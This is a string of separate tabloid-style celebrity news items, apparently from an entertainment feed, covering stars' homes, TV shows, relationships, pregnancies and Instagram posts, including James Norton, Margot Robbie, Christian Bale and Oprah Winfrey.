Sarah was born to a teenage single mum, and told Woman's Day that 'There were times [in her childhood] we didn't know what would be for dinner.

'I didn't grow up with a silver spoon in my mouth. I had to work really hard for everything,'she also told the publication.

Natalie Barr

Low-key luxury: She's been Sunrise's newsreader since 2003, but despite her public profile, Natalie Barr has opted for a relatively modest family home

Classic: Nat lives in a four-bedroom, two-bathroom Federation home in Mosman, Sydney

Eye-popping price tag: The home is located in one of Sydney's wealthiest postcodes, meaning Natalie had to fork up $3.2 million for the property.

She's been Sunrise's newsreader since 2003, but despite her public profile, Natalie Barr has opted for a relatively modest home in which to raise her family.

Unlike other breakfast stars, who live in the lap of luxury, Nat lives in a four-bedroom, two-bathroom Federation home.

The 49-year-old, who is mum to two sons with husband Andrew Thompson, bought the classic home early last year.

However, the fact it's located in Mosman, one of Sydney's wealthiest postcodes, meant that the star had to fork up $3.2 million for the property.

Karl Stefanovic

Cashed-up: Divorcee Karl now lives in a Mosman bachelor pad believed to be worth $7 million

Private: The plush abode features five bedrooms, two bathrooms, landscaped hedges and homely finishes

Following the breakdown of his 21-year marriage to Cassandra Thorburn, Karl rented a bungalow on Sydney's Lower North Shore.

However, the Today Show favourite, who is rumoured to earning up to $3 million a year, has recently moved in to a new bachelor pad in Mosman- the same suburb Natalie and Sonia call home.

The plush abode features five bedrooms, two bathrooms, landscaped hedges and homely finishes.

It's believed the property is worth a staggering $7 million.

Cashed-up Karl also contributed to ex-wife Cassandra's new waterfront home in neighbouring suburb Cremorne, which cost a jaw-dropping $8 million.

Cassandra's compound: Karl also contributed to ex-wife Cassandra's new waterfront home in neighbouring suburb Cremorne
We'll see him getting out of a taxi in a tuxedo, emerging from the sea in swimming trunks, flirting with glamorous women, and taking down corrupt mafia bosses.

And even James Norton himself has admitted that his latest TV role will stir the long-running rumours that he will be cast as the next James Bond.

The British actor, 32, said he warned the directors of the BBCs big-budget New Year drama McMafia that putting him in a tuxedo for his first scene would fuel the speculation.

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Rumour has it: James Norton has admitted that his latest TV role in McMafia will stir the long-running rumours that he will be cast as the next James Bond

Norton, who plays a banker of Russian descent who is trying to escape his mafia familys legacy of crime and violence, also revealed the gruelling Russian martial arts training he went through as part of the role.

During the terrifying Systema classes, he said he would be punched for hours, while at other moments his teacher would hold his hand over his mouth until he started spasming, to train him to cope with pain.

At a preview screening for the eight-part series in London earlier this month, Norton said: Part of my preparation for Alex and getting into the head of his Russian-ness...I went to these classes, genuine martial art classes and they have them in London.

The name's Bond, James Bond: The British actor, 32, said he warned the directors of the BBCs big-budget New Year drama McMafia that putting him in a tuxedo for his first scene would fuel the speculation

'They are run by this amazingly eccentric man called David, who I became very close to. We would meet in a room on our own, and roll around and punch each other.

The first thing he said to me in my first lesson was The thing about English people, when they meet fear they run away. In Russia when we meet fear we shake him by the f***ing hand.

We had hours and hours of this man punching me. Its about taking the pain and relaxing through it.

Dedicated: The gruelling Russian martial arts training he went through as part of the role for McMafia are similar to what Daniel Craig had to go through

The next Daniel Craig? The hunk set pulses racing when he appeared topless in the first few minutes of the second series of Grantchester last year

He would genuinely have his hand [over my mouth] and I would have to hold my [breath] and he would say at that point where your body is spawning and you are naturally getting terrified, that is when you have to push through. It was terrifying.

When asked if he agreed that the role for the multi-million-pound drama was almost an audition to be cast as the next 007 after Daniel Craig, he said he had discussed the similarities with the series creators Hossein Amini and James Watkins.

I did warn James and Hoss that if they wrote the first scene of me getting out of a black cab in a tux that would maybe stir some of it, he said.

Talented: Norton shot to fame in 2014 playing psychopath Tommy Lee Royce in BBCs Happy Valley and has gone on to star as Prince Andrei in BBCs adaptation of War and Peace (pictured above)

To be honest...I am personally very grateful that Daniel Craig is going to do at least one more, maybe two, or five.

Nevertheless, during the eight months of filming in locations including London, Croatia, Qatar, Mumbai, Prague, Cairo and Belgrade, the Grantchester star - who was privately educated at Ampleforth College - had to take on many of the same physical challenges as Craig has done.

When asked if there had been any moments of danger during filming, Watkins said: In later episodes when you see the Systema, James was getting properly hit. There were times in the cut I can see that was in pain, it wasnt acting.

Fuelling the fire: The talented actor said he had discussed with BBC creators the similarities between his character in McMafia and James Bond

Revealing how he had got into shape for the topless scenes in the series, of which there are a few in the first episode, Norton said: I tried to stay healthy. We were basically getting six hours of sleep a night and it was an eight-month shoot. Catering was slim on the ground because obviously [it was] BBC, so we kept pretty slim anyway.

Norton shot to fame in 2014 playing psychopath Tommy Lee Royce in BBCs Happy Valley and was nominated for the BAFTA Best Supporting Actor for his role the following year. He has since gone on to star as Prince Andrei in BBCs adaptation of War and Peace and Reverend Sidney in ITVs Grantchester.

He set pulses racing when he appeared topless in the first few minutes of the second series of Grantchester last year.

The actor, whose parents are both teachers, graduated from Cambridge University with a First in theology before pursuing acting at Rada.

Stirring the pot: I did warn James and Hoss that if they wrote the first scene of me getting out of a black cab in a tux that would maybe stir some of it, he said

Norton revealed he inhabited his character, Alex Godman, while carrying out daily chores in the lead up to filming McMafia.

He said: I did this bizarre thing where I spent time as Alex doing really mundane stuff, such as buying milk or brushing my teeth, in his headspace with his demons, his conflicts, de-sires and passions. It meant when I was on set and they called action, the headspace became quickly familiar to me. I think it freaked people out when I walked about as a schizophrenic Russian banker and then would go back to being me but thats my process!

Asked if he struggled with filming the show out of sequence, he said: It was a huge challenge as we constantly had to be aware of where we were, in the morning we could be in Tel Aviv, in the afternoon in Moscow and in London in the evening, so we were really careful to keep in control of that.

McMafia was inspired by Misha Glennys non-fiction book McMafia: Seriously Organised Crime, which was published in 2008, but the majority of the main story is fictional.

McMafia will air at 9pm on New Years Day on BBC1.
It's the highly anticipated TV spin-off set to debut in early 2018.

And with Osher Gunsberg back to host Bachelor In Paradise, he's assured fans it's going to be a ratings success.

Appearing on The Wine O'Clock Show, the 43-year-old revealed it only took three days of filming to know they had a winner.

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'We knew within three days we had a hit': Osher Gunsberg spoke enthusiastically about the new series of Bachelor In Paradise recently, and confirmed it was aimed at a family audience

'We have a hit, we knew within three days we had a hit,' said Osher. 'It's going to be so good!'

While promising lots of drama, the former Australian Idol host confirmed the series is still being targeted at a family audience.

This may come as a surprise to fans of the American version of Bachelor In Paradise, which has a reputation for being raunchy.

Family friendly: A Bachelor In Paraidse airing at 7:30pm may come as a surprise to fans of the American version of the spin-off series, which has a reputation for being raunchy

After leaving his radio gig to focus on his Bachelor hosting duties, Osher confessed he was beyond excited to be filming Paradise in Fiji.

'I cannot tell you how excited I am to be working on @bachelorinparadiseau,' he captioned a promo shot on Instagram.

'I promise it will be everything you love and more.'

'It will be everything you love and more!' After leaving his radio presenting role to focus on his Bachelor duties, Osher confessed he was beyond excited to be filming Paradise in Fiji

Spotted on set! While Bachelor In Paradise is still months away, it is already rumoured contestants Keira Maguire and Jarrod Woodgate (pictured) found love on the show

While Bachelor In Paradise is still months away, it is already rumoured contestants Keira Maguire and Jarrod Woodgate found love on the show.

They were pictured getting close on set and it was reported by Woman's Day this week that Keira was spotted visiting Jarrod's Melbourne home.

'Jarrod is completely smitten and thinks Keira is The One,' an insider said.
Rosie Huntington-Whiteley and actor Jason Statham welcomed their first baby into the world this June.

And the blonde beauty offered fans their first glimpse of six-month-old Jack on social media Monday.

The former Victoria's Secret model, 30, debuted her pride and joy in a picture that showed the statuesque talent boarding a small plane while holding her baby boy underarm.

His debut! Rosie Huntington-Whiteley gave the world their first look at her six-month-old baby Jack in a darling Instagram Monday

The British beauty was chic as can be, peering over her shoulder while donning a cream-colored cardigan which swept down to her ankles.

She wore her golden tresses long and loose while masking her face with giant cat-eyes sunnies.

The new mom captioned the darling snapshot with a simple: 'Happy Holidays' and a waving hand emoji to bid farewell.

From the look of the Transformers: Dark of the Moon star's Instagram, she and Jack appeared to have jetted off to the rocky red canyons of Utah.

Desert rose: The British beauty looked chic as can be during her travels, later showing off her exquisitely minimal Utah digs for the gram

Wandering traveler: The model posted one aerial photo of beautiful scenery of Utah, also geo-tagging the state

She posted one aerial photo of beautiful scenery while another photo displayed an exquisite minimal room with a view of the sprawling desert ahead.

Back in November the star spoke about how motherhood has completely changed her during the Bazaar At Work cocktail party in London.

Talking about her experience as a first time mum, she said: 'It has definitely changed how I think about work. For the first time in my career I took time off. My focus and priorities totally changed it but Im also still so ambitious with my work.

'Its exciting to look at the last 15 years and what Ive built and also look to the next 15 years! Its so exciting. Things have to be more focused and strategic.

A new part of life: Back in November the star (above with partner Jason Statham in April) spoke about how motherhood has completely changed her, saying 'My focus and priorities totally changed' but her ambition didn't wane

'I feel so encouraged by other working mothers because nobody else can understand it like another working mum. Ive loved speaking to other mothers, its so connecting.'

Rosie and partner Jason have been dating for seven years, but have yet to tie-the-knot.

They first confirmed they were expecting a child in February with a stunning bikini snap - displaying Rosie's bump to all.
They revealed they were expecting baby number two in November.

And actor Eddie Redmayne, 35, and wife Hannah looked jubilant as they posed during their first official appearance after announcing the exciting news.

The couple, who are also parents to one year-old Iris, beamed at the Motor Neuron Disease Association Carol Concert in London on Monday - which was also attended by Lucy Hawking - the daughter of famed scientist Stephen who suffers with the condition.

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Expecting: Eddie Redmayne, 35, and wife Hannah Bagshawe looked jubilant as posed for their first official appearance after announcing the exciting news at the MNDA Carol Concert in London on Monday

Expectant mum Hannah glowed in her chic emerald cape jacket, with her hand delicately placed over her fully concealed baby bump.

While the concert appeared to be a formal affair, Hannah opted for a more toned-down look, pairing her stylish jacket with black jeans and coordinated black heeled boots.

The PR Executive sported a fresh face with minimal make-up, and allowed her long brunette tresses to hang naturally over her shoulders.

Family in Film: Eddie, who posed with Lucy Hawking, daughter of Professor Stephen Hawking, is expecting baby number two with wife Hannah

Prize-winning: Eddie won an Academy Award for his portrayal of Professor Stephen Hawking in the BAFTA winning The Theory of Everything, which depicts the scholar throughout his life after being diagnosed with a motor neuron disease

Eddie, known for his impeccably tailored red carpet looks, didn't disappoint in a sharp black suit, paired with a textured midnight tie. The ensemble was offset with a navy blue and white patterned pocket square

The Fantastic Beasts star spoke at the charity event, which celebrated the charity becoming the Credit Suisse UK Charity of the Year 2017.

Eddie won an Academy Award for his portrayal of Professor Stephen Hawking in the BAFTA winning The Theory of Everything, which depicts the scholar throughout his life after being diagnosed with a motor neuron disease.

At the concert he spoke with Lucy, 47, Stephen's daughter.

Speech: The Fantastic Beats star spoke at the charity event, which celebrated the charity becoming the Credit Suisse UK Charity of the Year 2017

Publicity executive Hannah fell pregnant with their first child the year after Eddie won his Academy Award for the film in January 2015.

She was still by his side when he went up for the gong for a second time in 2016, with The Danish Girl, despite being three-months-pregnant.

In November, the couple confirmed they were expecting baby number two to E! News, when a representative for the couple announced: 'Eddie and Hannah Redmayne are delighted to confirm they are expecting their second child.'

Eddie known for his impeccably tailored red carpet looks, didn't disappoint in a sharp black suit, paired with a textured midnight tie

Starring role: Eddie won huge praise when he played Steven in the movie (pictured in character with co-star Felicity Jones)

Eddie and Hannah started dating in 2012 after previously being friends since their school days.

They first met when the Oscar winner was studying at Eton College, while Hannah was boarding at a nearby girls' school.

However their friendship turned to romance when Eddie invited her to visit him in Italy while he was filming Les Miserables.

All together: Eddie, here with David Gower, Deborah Meaden, Charlotte Hawkins and Lucy Hawking, won an Academy Award for his portrayal of Professor Stephen Hawking in the BAFTA winning The Theory of Everything

Eddie and Hannah, who welcomed their first child Iris Mary in June 2016, wed in Babington House in Somerset just before Christmas 2014.

Eddie is currently filming Fantastic Beasts 2: The Crimes of Grindelwald, in which he stars as Newt Scamander.

The highly-anticipated sequel - which will follow on from Fantastic Beasts and Where to Find Them which hit cinemas last Christmas - will be the first in the five-film series to introduce iconic Harry Potter character Albus Dumbledore as a young man.

The second of the five adventures penned by Harry Potter author J.K. Rowling will be released on 16 November 2018.
He was awarded the gliiterball trophy in Saturday's tensely-fought finale, with the public choosing him as the 2017 champion along with partner Katya Jones.

And Strictly Come Dancing winner Joe McFadden was still smiling on Monday as he exited an interview on The One Show, beaming as he posed for selfies with fans.

The 42-year-old actor made the appearance on the BBC show after head judge Len Goodman commented that Joe was voted the winner due to his 'popularity.'

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Still riding high: Actor Joe McFadden, 42, continued to sport his victory grin on Monday as he exited The One Show after being crowned Strictly Come Dancing champion

Joe looked dapper in a pale grey suit as he exited the BBC studios, stopping to pose for selfies with waiting fans after revealing all about his Strictly victory.

The screen star had previously noted he was 'out of work' due to his character being killed off Holby City last week, telling the BBC: 'I am. I'm very optimistic about the future. Things are looking up.'

'I'm feeling really good and looking forward to having a really good rest over Christmas.

Riding high: Joe looked dapper in a grey three-piece suit as he exited the BBC studios, still smiling after lifting the glitterball trophy

Legion of fans: Joe also stopped to pose for selfies with fans, after 13.1 million viewers saw him crowned the winner of Strictly Come Dancing 2017

Smile of success! While Joe recently joked he was 'out of work' after being killed off on Holby City, the actor added that he is looking forward to a relaxing Christmas

The former Holby City star was voted winner alongside partner Katya Jones, and former head judge Len Goodman offered his own opinion on the final during an appearance on This Morning earlier in the day.

The 73-year-old ballroom dance guru admitted that while Joe had 'a great journey' he had only reigned victorious because of his 'popularity.'

When asked about Strictly's finale, Len revealed: 'I thought the final was great, I enjoyed it very much, there's a balance, probably Alex was the best dancer... Joe, what a journey he had, he got through because of his popularity, and that's lovely.

Having his say: Former head judge Len Goodman, 73, offered his own opinion on the Strictly Come Dancing final, as he appeared on This Morning on Monday

Victorious: On Saturday's dazzling Strictly Come Dancing finale Joe scooped up the Glitterball trophy with Katya Jones

'The judges give their input, the viewers have theirs, it's marvellous,' the star - who was on the show to promote his album of Christmas classics - added.

Len is currently acting as judge on the American equivalent of the dance reality show, after hanging up his Strictly Come Dancing shoes last year.

And the TV star also spoke of Shirley taking over his role, admitting she did a 'wonderful job.'

Opinion: The ballroom dance guru admitted that while Joe, 42, had 'a great journey' he had only reigned victorious because of his 'popularity'

'Alex was the best dancer': Len offered his expert analysis on the show as he continued: 'Joe, what a journey he had, he got through because of his popularity, and that's lovely'

Len continued: 'The judges give their input, the viewers have theirs, it's marvellous'

Len went on to offer more insight into the real reason why he left UK's Strictly to carry on Dancing with The Stars in America.

'People got very, very anal about this, saying 'the traitor'. It was all to do with my contract, it's an annual thing. The BBC only do one year - they can hire you or fire you.

'In the US they sign you up for four years. I thought do I want to fly every week back to Britain from LA? I could not physically do it.

'It's an 11 hour flight, eight hour time difference. You're there two days and then you're back,' he detailed the situation at hand.

Suited and booted: Len - who was on the show to promote his album of Christmas classics - looked dapper in a blazer, red tie, checked trousers and red socks

'It was all to do with my contract': Len went on to offer more insight into the real reason why he left UK's Strictly to carry on Dancing with The Stars in America

Taking over: Shirley Ballas was appointed as his replacement on Strictly Come Dancing in July

Enjoyment: Len went on to have fun in the cooking segment with Gino D'Acampo

After Shirley was appointed as his replacement on Strictly Come Dancing in July, Len was quick to praise the former dance champion as a perfect fit for the show.

Appearing on This Morning again shortly after, he said: 'I've known Shirley for years and years  she's as good as gold. She knows her onions as far as ballroom and Latin is concerned.

'She knows what she's talking about which is wonderful. She's a lovely girl, she comes from up north. She's a smasher.

'Whoever the BBC picked I would've been happy with. They say no one heard of her but no one had heard of me, no one heard of Anton, no one heard of Bruno.'
She's was one of the new sirens to hit the floor on this year's Strictly Come Dancing.

And Aussie dancing pro Dianne Buswell, 28, has put another famous man in a spin after enjoying several dates with Emmerdale star Anthony Quinlan.

The actor, 33, who currently stars as Pete Barton on the ITV soap, is said to be 'smitten' with the red head after being introduced to the pro-dancer by his co-star, Strictly finalist Gemma Atkinson.

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'Smitten': Aussie dancing pro Dianne Buswell, 28, has put another famous man in a spin after enjoying several dates with Emmerdale star Anthony Quinlan, according to reports

Gemma also starred alongside Anthony in Hollyoaks, and her turn as Cupid looked like it worked wonders for the actor and Dianne, as they allegedly cosied up to one another during Saturday's Strictly final.

Dianne dashed off to greet Anthony with a hug at one point during the evening, and even met his close friend Jamie Lomas, who also joined the audience fresh off his stint in I'm a Celebrity...Get Me Out Of Here.

A source told The Sun that: 'Anthony and Dianne looked very cosy on Saturday night in the studio. He has told pals he is really into her and made the trip down to London to see her.

Happy: Anthony, pictured with fellow soap actor Adam Thomas at the ITV Gala in November, was spotted looking cosy with Dianne at the Strictly final after-party

Soap hunk: The actor, 33, who currently stars as Pete Barton on the ITV soap. He previously played Gilly Roach on Hollyoaks

'He brought Jamie with him but only had eyes for Dianne.

'During rehearsals, she darted off the dancefloor and ran straight up to him in the crowd to give him a cuddle.

According to the source, the pair seemed very close at the show's after party and didn't care who saw them together.

Cupid: Gemma also starred alongside Anthony in Hollyoaks and was quick to introduce the pair

Dianne worked on the Australian version of the hit BBC show before landing a role on Strictly.

Her time on the latest season of the show was cut short after she and her partner, Reverend Richard Coles got the axe in week three.

Soap actor Anthony had a small role on BBC's Doctors before heading over to the Yorkshire-based soap.

While on Hollyoaks as Gilly Roach, Anthony was nominated for sexiest male at the 2010 Inside Soap Awards, while also gaining a nomination for Best Actor at the British Soap Awards the following year.
She married her British director beau Tom Ackerley in an intimate ceremony in Byron Bay, on Australia's New South Wales coast, on December 16 in 2016.

And Margot Robbie returned to her wedding location on her one-year wedding anniversary.

Instagram clips saw the 27-year-old enjoying beer, cocktails, and relaxing at a poolside suite as she celebrated a girlfriend's hens party.

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Home for the holidays! Margot Robbie returns to Byron Bay wedding location on one-year anniversary and celebrates at a pal's hens party

One image saw Margot, in a chic yellow textured frock, beaming broadly as she stood next to her gal pals.

The former Neighbours star styled her short blonde locks semi-straight, and her makeup consisted of a dewy complexion, bold brows, lashings of mascara and a glossy lip.

A following snap saw Margot and friends raising their lithe arms in the air, while making use of inflatables in a luxurious pool.

Making a splash: An image shared to Instagram saw Margot (far right) and friends raising their lithe arms in the air, while making use of inflatables in a luxurious pool

Antics: Clearly having a blast, the group was also seen indulging in cocktails, with the Suicide Squad actress highlighting her slender figure in a plunging black frock

Clearly having a blast, the group was also seen indulging in cocktails, with Margot highlighting her slender figure in a plunging black frock.

A candid video also showed the red carpet regular wearing a casual ensemble of a black singlet and mini-shorts as she drank beer.

Margot is expected to make her way to the Gold Coast to celebrate Christmas with her mother Sarie Kessler.

At her wedding to British director Tom Ackerley, 27, last year Margot looked stunned in a bohemian style frock.

Wedded bliss: The hen's party comes a year after Margot wed British director Tom Ackerley, 27, in the same location of Byron Bay

The ceremony was held at a private estate in as she walked through the grounds of the private estate in Coorabell, just outside Byron Bay.

The grounds featured a white marquee structure and guests were treated to pizza and cocktails as a DJ played by the pool.

Days after Margot flaunted her diamond and rose gold wedding band in a cheeky Instagram snap.

Prized bling: Margot took to Instagram, days after, flaunting her diamond ring and rose gold wedding band, in a cheeky snap

Life with Tom: In an interview with US Weekly in October last year, the former Neighbours star admitted that married life with Tom is 'awesome' but that not much has changed

In it the blonde beauty was seen sticking up her ring finger as she kissed her beau.

Margot admitted that married life with Tom is 'awesome' but also that tying the know had not changed much between the pair.

In October last year she told US Weekly: 'My husband and I were roommates before we were even dating, so I'm kind of living with my roommate and it's awesome.

'We lived with a bunch of people and now we're just living (as) the two of us, so we feel very grown up now.'
He was with Rosamund Pike and Wes Studi to chat about their new Western, Hostiles, at the Build Series studios in New York on Monday.

And Christian Bale showed off the weight he gained to play Dick Cheney, President George W. Bush's Vice President, in Backseat.

The 43-year-old piled on the pounds to play the man touted as the most powerful VP in history in the biopic that follows him during the tumultuous years from 2001 to 2009.

Heavyweight star: Christian Bale, who bulked up to play President George W. Bush's Vice President Dick Cheney in Backseat, turned up for an interview about his new Western, Hostiles, at the Build Series studios in New York on Monday

The Welsh-born actor covered his still hefty chest and bulging tummy with a black T-shirt and a zip up jacket that he teamed with baggy camouflage pants.

Rosamund, 38, looked chic in a white lace top and black skinny pants as she stood between him and Wes.

The 72-year-old sported a blue sweater and black jeans with a dark blue scarf around his neck and a cap on his head.

Different shape: The 43-year-old was seen on set as Cheney in back in September

Speaking at Build: With all the weight around his face, Christian is a dead ringer for Cheney, right, even without make up and a wig

Committed actor: Christian has a history of committing to his roles

Camouflage trousers: The actor kept it casual in green camo pants while discussing Hostiles

Christian is no stranger to changing his physical appearance for roles.

The actor bulked up his muscle mass for American Psycho in 2000.

Then he famously lost 65 pounds after eating only an apple and a can of tuna a day to become the emaciated Trevor Reznik in The Machinist in 2004.

Pecs appeal: The actor, who hails from Wales, honed his body for Psycho

Scarily emaciated: Then he famously lost 65 pounds after eating only an apple and a can of tuna a day for The Machinist in 2004

He regained his pecs appeal and six-pack to play Batman in the Dark Knight films in 2008 and 2012.

And he lost all the muscle tone and sported a pot belly in 2013's American Hustle.

Talking to the UK's Independent newspaper at the Toronto Film Festival in September, Christian explained how he put on the pounds for Cheney.

There are muscles under that suit: Christian bulked up to play the Caped Crusader in Batman Begins in 2005

Letting it all hang out: The star's belly hung over his belt in 2013's American Hustle, which won him an Oscar nomination.

'I've just been eating a lot of pies,' he joked.

Christian's role in Hostiles didn't require him to change his body too much.

He plays an Army captain escorting a dying Cheyenne chief, played by Wes, and his family back to their home in Montana in 1892. It's due for release on Friday.

Coming soon: Rosamund and Christian co-star in Hostiles due out on Friday

On the promo trail: Christian was joined by Wes Studi and Rosamund Pike at the Build Studios

Fan favorite: The actor stopped to sign autographs for fans
When Oprah Winfrey learned she had a long-lost half-sister and that her dream was to graduate from college, the media mogul took steps to make that dream a reality.

She bought Patricia Lofton a half million dollar home in Wisconsin and gave her a monthly allowance so she could quit her job and complete her studies.

And on Sunday Oprah, 64, was there to see Pat, 53, graduate from the University of Wisconsin-Milwaukee.

'Congratulations lil Sis': Oprah Winfrey watched her younger half-sister Pat Lofton graduate from the University of Wisconsin-Milwaukee on Sunday and shared pics to her Instagram

Oprah posted a photo of herself with Pat at the graduation to her Instagram.

Alongside it she wrote: 'My sister Pat who discovered she was a part of our family 6 years ago, had 1 big dream when I met her. To go to college and finish strong!'

'Today that dream came true. Congratulations lil Sis.'

Someone as famous as Oprah couldn't get away with not being spotted in a crowd and others there excitedly shared pics of her and her partner Stedman Graham sitting in the bleachers

Oprah introduced her sister Pat to the world on an episode of The Oprah Winfrey Show in 2011. The two have the same mother, Vernita Lee and Pat had been given up for adoption at birth

Naturally, someone as famous as Oprah couldn't get away with not being spotted in a crowd.

Other students and their guests excitedly shared pics of her and her partner Stedman Graham sitting in the bleachers.

Michelle Johnson, senior director of integrated marketing and communications for UWM, told local news media that seats were reserved for Oprah and her family and she had her own security.

Oprah and Pat share a mother Vernita Lee who also resides in Wisconsin.

The daytime TV titan introduced the world to her half-sister on an episode of The Oprah Winfrey Show in 2011.

After connecting with he rlong-lost younger half-sibling, the billionaire bought her a home in Wisconsin and gave her an allowance so she could quit her job and complete college

Pat has two adult children and has dreams of being a social worker.

Oprah, who is worth an estimated $2.8 billion, was born to an unmarried, teenage mother Vernita Lee in 1956 in Kosciusko, Mississippi. Vernita worked as a housemaid and split from Oprah's father shortly after falling pregnant.

Patricia was born in 1963 when Vernita was living in Milwaukee and she was given up for adoption.

Oprah had already been sent away to live with her biological father in Nashville, Tennessee.

The two siblings only learned about each other in 2010.
Her character Kat Chapman was dramatically killed off on Home and Away's season finale aired across Australia on Monday night.

But Pia Miller inadvertently spoiled the show for international fans, who are several weeks behind.

After she shared an Instagram revealing her character's death, one fan raged 'Ruined for the UK fans'.

Spoiler alert! Pia Miller has been accused of inadvertently spoiling Home and Away for international audiences after posting pictures to Instagram on Monday revealing her character's death

'Ruined': Home and Away has a huge following in the UK, but the country is several weeks behind on episodes

The angered Home and Away fan added a sarcastic thumbs up emoji to finish off the post.

The user was just one of many British viewers who posted beneath Pia's picture of herself in character, to which she added the caption: 'Spoiler alert! (Not that it hasnt been all over the media for months) Tonight we farewell Kat'.

'No no @piamiller I'm in the UK and we're way behind. I better not spoil it for my mum and tell her', another penned.

Dramatic death: Pia's police officer character Kat was killed in a car crash

Regret: One viewer said they wished they hadn't read comments on Pia's Instagram account

London lagging: Fans abroad will have to wait until next year to see the VERY emotional episode

'In London we will not see the episode until next year' added a third fan from the motherland.

Another regretful user wrote: 'I wish I hadn't read these messages now as we won't be seeing these episodes till the new year'.

After the 2017 season finale aired in Australia, Pia shared another two pictures to Instagram - one of her in character and covered in blood featured the words: 'After filming the accident.. actual tears.'

Home and Away favourite: The show won't be the same without the stunning brunette, who is a fan favourite

The other was a thank you note that included cast, crew, writers, producers, friends and family.

'The cast and crew become an extended family, we spend more time with them then we do our own families sometimes so it was incredibly hard knowing I wouldn't be returning back on set the following week,' she told Now to Love.

'I felt sad but also really proud to have been part of the show.'
She embarked on an impressive international tour in September with more than 100 stops on five continents.

But Katy Perry, 33, made sure to take some time for herself as she enjoyed a fun-filled day at Walt Disney World Resort in Orlando, Florida on Monday afternoon.

Matthew McConaughey, 48, also joined in on the fun as he brought his family along to see the sights and sounds of the theme park.

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Mickey! Katy Perry, 33, made sure to take some time for herself as she enjoyed a fun-filled day at Walt Disney World Resort in Orlando, Florida on Monday afternoon

Katy rocked an entirely Mickey Mouse-ensemble which included a black-and-white sweatshirt with his famous face in addition to striped leggings.

She sported a pair of classic white Adidas trainers with three black stripes and Mickey on top of the laces.

Adding even more mouse to her outfit, her short platinum blonde hair peeked through the top of a pair of baby blue-and-white polka dot Minnie ears with a sparkling pink bow in the middle.

Friends! Adding even more mouse to her outfit, her short platinum blonde hair peeked through the top of a pair of baby blue-and-white polka dot Minnie ears with a pink bow in the middle

Matthew roamed around the massive amusement park with wife Camila Alves, 35, and two of their three children, Levi, nine, and Vida, seven.

The group posed with Nutcrackers and Mickey Mouse clad in a Santa suit while standing in front of the Cinderella's castle.

McConaughey has been filming The Beach Bum for the better part of a month just south of Orlando in Miami.

Family! Matthew roamed around the massive amusement park with wife Camila Alves, 35, and two of their three children, Levi, nine, and Vida, seven

Fans: The group posed with Nutcrackers and Mickey Mouse clad in a Santa suit while standing in front of the Cinderella's castle

No doubt, Katy was letting off some steam as she has only one more show until her eagerly anticipated concert in Abu Dhabi, Dubai for New Year's.

Katy seemed even more relaxed thanks to her legal win last week when a LA jury awarded her $5M in punitive damages after Dana Hollister 'intentionally' interfered in the sale of a $14.5M convent.

We're obviously very pleased,' the Swish Swish songstress' attorney Eric Rowen told the LA Times.
She is in the midst of filming her smash hit sitcom Modern Family.

And Sofia Vergara, 45, posted a photo of herself in costume to Instagram this Monday, modeling a cleavage-baring black top, a matching miniskirt, fishnet stockings and knee-high boots.

The middle third of her hair had been gathered up into a ponytail, and she accented her features with makeup including a bright pink shade of lipstick.

Glowing! Sofia then posted a photo of herself in costume - a cleavage-baring black top over a matching miniskirt, fishnet stockings and knee-high boots

She captioned simply: '#gloriapritchett #setlife,' with a camera emoji.

The TV star, who plays Gloria Pritchett on the program, had previously uploaded a sweet photo of Rico Rodriguez, who plays Gloria's son Manny.

Captioned: 'Last week of work of the year,' with a string of emoji, the photo showed Rico holding up a paper heart.

'Last week of work of the year': On Monday Sofia posted a sweet photo of her TV son Rico Rodriguez from the set of their show Modern Family

'Ed asked me if he looked like Ricardo Montalvan': Next, she uploaded a photo of her in this same look, posing up a storm beside her Modern Family husband Ed O'Neill

Soon after her solo photo of herself, she uploaded a photo of her in this same look, posing up a storm beside her Modern Family husband Ed O'Neill.

Ed had on a white suit and a striped gold and off-white shirt, adding a bit of extra elan to the ensemble with an ascot.

Sofia wrote in the caption: 'Ed asked me if he looked like Ricardo Montalvan,' before throwing in four widely smiling emoji and: '#setlife #modernfamily,' with that camera emoji back again between the two.

Gal on the go! Sofia Vergara was spotted on Monday enjoying some time to herself as she strolled down a sidewalk in ritzy Beverly Hills

So chic! The 45-year-old sitcom icon was casually stylish, showing off her knockout figure in a tight, sheer navy top and fitted jeans

The actress was also spotted recently enjoying some time to herself as she strolled down a sidewalk in ritzy Beverly Hills.

The sitcom icon was casually stylish, showing off her knockout figure in a tight, sheer navy top and fitted jeans.

Her pants were torn over the knees, and she had folded them neatly up at the hems.

Fashion forward! Her pants were torn over the knees, and she had folded them neatly up at the hems

Wearing her brown hair down, Baranquilla-born Sofia accessorized with sunglasses and a sleek black purse, slipping on colorful high-top shoes.

She was at times seen chatting on her cellphone.

This September, Forbes announced she was the highest-paid actress on Earth for the sixth year running - though only a fourth of her income between June 1 this year and last year came from Modern Family.

She looks swell! Wearing her brown hair down, Baranquilla-born Sofia accessorized with sunglasses and a sleek black purse, slipping on colorful high-top shoes
She's currently on holiday in Japan with her boyfriend Harley Bonner.

And Natalie Roser delighted her Instagram fans during the trip with a revealing snap.

The 27-year-old flaunted her toned back and very pert derriere in a skimpy black swimsuit.

That's cheeky! Natalie Roser, 27, flaunted her pert derriere in a VERY skimpy swimsuit, in a snap shared to Instagram last Friday

Standing in a luxurious spa at the Peninsula Hotel in Tokyo, Japan, Natalie drew attention to her enviable figure.

A racy black swimsuit highlighted the stunner's toned back, lithe arms and toned bottom.

Beaming at the camera, Natalie's semi-wet blonde locks fell effortlessly and she appeared to have gone makeup-free.

The editorial model captioned the photo: 'The water was calling my name Sad to be leaving @peninsulahotels #Tokyo for now, but excited about exploring #Kyoto!'

If you've got it: The stunner is enjoying a vacation in Japan, and has been sure to flaunt her sensational figure in a number of risque snaps

Body image: Despite being known for her stunning physique, Natalie recently opened up about her previous struggles with body image

Natalie is in Japan with her boyfriend Harley, and the pair have not been shy in sharing multiple updates of their trip to Instagram.

The couple have enjoyed a whirlwind romance after meeting in late 2016, with Natalie moving to Melbourne to be with her actor beau in August.

In October, Natalie and her then-fiance Dan Adair called off their wedding and later split.

Despite being known for her stunning physique, Natalie recently opened up about her previous struggles with body image.

Body confidence: 'My body confidence is good now, but there have always been doubts  if you don't get a job, you think, "Is it because my measurements are bigger than the girl who did?"' she told the January edition of Women's Health Australia

Natalie continued: 'Little things play on your mind. But I learnt pretty quickly that it's not necessarily me; it's about what the client is looking for to represent their brand'

'My body confidence is good now, but there have always been doubts  if you don't get a job, you think, "Is it because my measurements are bigger than the girl who did?"' she told the January edition of Women's Health Australia.

